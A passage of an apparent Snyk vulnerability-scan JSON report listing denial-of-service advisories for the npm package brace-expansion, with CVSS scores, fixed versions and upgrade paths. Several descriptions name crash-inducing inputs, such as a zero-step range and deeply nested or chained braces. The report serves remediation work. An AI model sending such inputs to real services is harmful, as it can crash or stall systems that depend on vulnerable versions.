"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmfund@6.0.5",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"sigstore@3.1.0",
"@sigstore/sign@3.1.0",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmfund@7.0.28",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"sigstore@4.1.1",
"@sigstore/sign@4.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmfund@6.0.5",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"sigstore@3.1.0",
"@sigstore/sign@3.1.0",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmfund@7.0.28",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"sigstore@4.1.1",
"@sigstore/sign@4.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmpack@8.0.5",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"sigstore@3.1.0",
"@sigstore/sign@3.1.0",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpack@9.1.15",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"sigstore@4.1.1",
"@sigstore/sign@4.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmpack@8.0.5",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"sigstore@3.1.0",
"@sigstore/sign@3.1.0",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpack@9.1.15",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"sigstore@4.1.1",
"@sigstore/sign@4.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmpack@8.0.5",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"sigstore@3.1.0",
"@sigstore/sign@3.1.0",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpack@9.1.15",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"sigstore@4.1.1",
"@sigstore/sign@4.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
